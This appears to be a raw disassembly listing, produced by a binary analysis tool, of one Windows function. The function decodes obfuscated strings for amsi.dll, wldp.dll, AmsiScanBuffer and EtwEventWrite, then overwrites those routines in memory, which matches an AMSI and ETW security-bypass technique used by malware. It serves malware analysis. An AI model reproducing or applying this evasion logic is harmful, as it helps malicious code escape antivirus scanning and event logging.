Function at 0x140163c88
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x11a0]
mov eax, 0x12a0
call fcn.14027bf80
sub rsp, rax
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov ebx, 0x41
mov r8d, ebx
xor edx, edx
lea rcx, [rbp - 0x58]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x118]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x288]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov byte [rsp + 0x44], 0x81
mov byte [rsp + 0x45], 0x76
mov byte [rsp + 0x46], 0x6e
mov byte [rsp + 0x47], 0x7a
mov byte [rsp + 0x48], 0x38
mov byte [rsp + 0x49], 0x6e
mov byte [rsp + 0x4a], 0x76
mov byte [rsp + 0x4b], 0x76
xor r15d, r15d
mov byte [rsp + 0x4c], r15b
mov al, byte [rsp + 0x44]
mov ecx, r15d
mov al, byte [rsp + rcx + 0x44]
sub al, 0xa
mov byte [rsp + rcx + 0x44], al
inc rcx
cmp rcx, 8
jb 0x140163d23
lea rcx, [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov ebx, 9
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0x44]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov byte [rsp + 0x4d], 0x6b
mov byte [rsp + 0x4e], 0x77
mov byte [rsp + 0x4f], 0x7d
mov byte [rsp + 0x50], 0x73
mov byte [rsp + 0x51], 0x38
mov byte [rsp + 0x52], 0x6e
mov byte [rsp + 0x53], 0x76
mov byte [rsp + 0x54], 0x76
mov byte [rsp + 0x55], r15b
mov al, byte [rsp + 0x4d]
mov rcx, r15
mov al, byte [rsp + rcx + 0x4d]
sub al, 0xa
mov byte [rsp + rcx + 0x4d], al
inc rcx
cmp rcx, 8
jb 0x140163d8d
lea rcx, [rsp + 0x4d]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x4d]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rcx, [rbp + 0xd10]
call fcn.1400afb1c
nop
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8, r14
xor edx, edx
lea rcx, [rbp + 0xd10]
call fcn.14019b558
test al, al
je 0x14016432d
mov dword [rsp + 0x58], 0x10
mov byte [rsp + 0x5c], 0x51
mov byte [rsp + 0x5d], 0x7d
mov byte [rsp + 0x5e], 0x63
mov byte [rsp + 0x5f], 0x79
mov byte [rsp + 0x60], 0x43
mov byte [rsp + 0x61], 0x73
mov byte [rsp + 0x62], 0x71
mov byte [rsp + 0x63], 0x7e
mov byte [rsp + 0x64], 0x52
mov byte [rsp + 0x65], 0x65
mov byte [rsp + 0x66], 0x76
mov byte [rsp + 0x67], 0x76
mov byte [rsp + 0x68], 0x75
mov byte [rsp + 0x69], 0x62
xor eax, eax
mov byte [rsp + 0x6a], al
mov al, byte [rsp + 0x5c]
mov rdx, r15
mov al, byte [rsp + rdx + 0x5c]
mov ecx, dword [rsp + 0x58]
xor cl, al
mov byte [rsp + rdx + 0x5c], cl
inc rdx
cmp rdx, 0xe
jb 0x140163e47
mov byte [rsp + 0x6a], r15b
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0xd10]
call fcn.1401977c4
mov bl, al
xor edx, edx
lea r8d, [rdx + 0xf]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.VCRUNTIME140.dll_memset]
test bl, bl
je 0x14016432d
lea rcx, [rbp + 0xd10]
call fcn.140196e48
lea rcx, [rbp + 0x880]
call fcn.1400afb1c
nop
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x880]
call fcn.14019b558
test al, al
je 0x140164320
mov dword [rsp + 0x6c], 0x74
mov byte [rsp + 0x70], 0x23
mov byte [rsp + 0x71], 0x18
mov byte [rsp + 0x72], 0x10
mov r12d, 4
mov byte [rsp + 0x73], r12b
mov byte [rsp + 0x74], 0x25
mov byte [rsp + 0x75], 1
mov byte [rsp + 0x76], 0x11
mov byte [rsp + 0x77], 6
mov byte [rsp + 0x78], 0xd
mov byte [rsp + 0x79], 0x30
mov byte [rsp + 0x7a], 0xd
mov byte [rsp + 0x7b], 0x1a
mov byte [rsp + 0x7c], 0x15
mov byte [rsp + 0x7d], 0x19
mov byte [rsp + 0x7e], 0x1d
mov byte [rsp + 0x7f], 0x17
mov byte [rbp - 0x80], 0x37
mov byte [rbp - 0x7f], 0x1b
mov byte [rbp - 0x7e], 0x10
mov byte [rbp - 0x7d], 0x11
mov byte [rbp - 0x7c], 0x20
mov byte [rbp - 0x7b], 6
mov byte [rbp - 0x7a], 1
mov byte [rbp - 0x79], 7
mov byte [rbp - 0x78], r15b
xor eax, eax
mov byte [rbp - 0x77], al
mov al, byte [rsp + 0x70]
mov rdx, r15
mov al, byte [rsp + rdx + 0x70]
mov ecx, dword [rsp + 0x6c]
xor cl, al
mov byte [rsp + rdx + 0x70], cl
inc rdx
cmp rdx, 0x19
jb 0x140163f5b
mov byte [rbp - 0x77], r15b
lea r8, [rbp + 0x110]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x880]
call fcn.1401977c4
mov bl, al
xor edx, edx
lea r8d, [rdx + 0x1a]
lea rcx, [rsp + 0x70]
call qword [sym.imp.VCRUNTIME140.dll_memset]
test bl, bl
je 0x140164320
lea rcx, [rbp + 0x880]
call fcn.140196e48
lea rcx, [rbp + 0x3f0]
call fcn.1400afb1c
nop
lea rcx, [0x140290e68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8, rax
xor edx, edx
lea rcx, [rbp + 0x3f0]
call fcn.14019b558
test al, al
je 0x140164313
mov dword [rsp + 0x30], 0x78
mov ecx, dword [rsp + 0x30]
xor cl, 0x45
mov byte [rsp + 0x34], cl
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x74
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x77
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
add al, 3
xor al, 0x45
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x30]
add al, r12b
xor al, 0x76
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x30]
add al, 5
xor al, 0x65
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x30]
add al, 6
xor al, 0x6e
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x30]
add al, 7
xor al, 0x74
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x30]
add al, 8
xor al, 0x57
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x30]
add al, 9
xor al, 0x72
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x30]
add al, 0xa
xor al, 0x69
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x30]
add al, 0xb
xor al, 0x74
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x30]
add al, 0xc
xor al, 0x65
mov byte [rsp + 0x40], al
xor eax, eax
mov byte [rsp + 0x41], al
mov al, byte [rsp + 0x34]
mov rdx, r15
mov al, byte [rsp + rdx + 0x34]
mov ecx, dword [rsp + 0x30]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x34], cl
inc rdx
cmp rdx, 0xd
jb 0x1401640a4
mov byte [rsp + 0x41], r15b
lea r8, [rbp + 0x280]
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x3f0]
call fcn.1401977c4
mov bl, al
xor edx, edx
lea r8d, [rdx + 0xe]
lea rcx, [rsp + 0x34]
call qword [sym.imp.VCRUNTIME140.dll_memset]
test bl, bl
je 0x140164313
lea rcx, [rbp + 0x3f0]
call fcn.140196e48
mov edx, dword [rbp + 0xf8]
add rdx, r14
mov qword [0x1402cd850], rdx
mov eax, dword [rbp + 0x268]
add rax, rsi
mov qword [0x1402cd860], rax
mov eax, dword [rbp + 0x3d8]
add rax, rdi
mov qword [0x1402cd858], rax
mov eax, dword [0x1402914b0]
mov dword [rbp + 0x11f0], eax
mov al, byte [0x1402914b4]
mov byte [rbp + 0x11f4], al
mov dword [rbp + 0x11e0], r15d
mov rcx, rdx
cmp dword [rcx], 0x49534d41
je 0x14016416e
inc rcx
mov rax, rcx
sub rax, rdx
cmp rax, 0x200
jb 0x140164153
jmp 0x140164196
mov qword [0x1402cd850], rcx
mov eax, dword [rcx]
inc eax
mov dword [rbp + 0x11e8], eax
mov r8, r12
lea rdx, [rbp + 0x11e8]
lea rcx, [rbp + 0x11e0]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov byte [rbp + 0x11e8], r15b
lea r8, [rbp + 0x11e8]
mov rdx, r12
lea rcx, [0x1402cd8d0]
call fcn.140171230
mov byte [rbp + 0x11e8], r15b
lea r8, [rbp + 0x11e8]
mov rdx, r12
lea rcx, [0x1402cd8e8]
call fcn.140171230
mov byte [rbp + 0x11e8], r15b
lea r8, [rbp + 0x11e8]
mov rdx, r12
lea rcx, [0x1402cd8b8]
call fcn.140171230
mov r8, r12
lea rdx, [rbp + 0x11f0]
mov rcx, qword [0x1402cd8d0]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov r8, r12
lea rdx, [rbp + 0x11f0]
mov rcx, qword [0x1402cd8e8]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov r8, r12
lea rdx, [rbp + 0x11e0]
mov rcx, qword [0x1402cd8b8]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov byte [rbp + 0x11e8], r15b
mov rdx, qword [0x1402cd8d8]
sub rdx, qword [0x1402cd8d0]
lea r8, [rbp + 0x11e8]
lea rcx, [0x1402cd888]
call fcn.140171230
mov byte [rbp + 0x11e8], r15b
mov rdx, qword [0x1402cd8f0]
sub rdx, qword [0x1402cd8e8]
lea r8, [rbp + 0x11e8]
lea rcx, [0x1402cd8a0]
call fcn.140171230
mov byte [rbp + 0x11e8], r15b
mov rdx, qword [0x1402cd8c0]
sub rdx, qword [0x1402cd8b8]
lea r8, [rbp + 0x11e8]
lea rcx, [0x1402cd870]
call fcn.140171230
mov r8, qword [0x1402cd890]
mov rcx, qword [0x1402cd888]
sub r8, rcx
mov rdx, qword [0x1402cd858]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov r8, qword [0x1402cd8f0]
sub r8, qword [0x1402cd8e8]
mov rdx, qword [0x1402cd860]
mov rcx, qword [0x1402cd8a0]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov r8, qword [0x1402cd878]
mov rcx, qword [0x1402cd870]
sub r8, rcx
mov rdx, qword [0x1402cd850]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
call fcn.14016a7e4
mov byte [0x1402cd869], al
lea rcx, [rbp + 0x3f0]
call fcn.140196cec
nop
lea rcx, [rbp + 0x880]
call fcn.140196cec
nop
lea rcx, [rbp + 0xd10]
call fcn.140196cec
add rsp, 0x12a0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret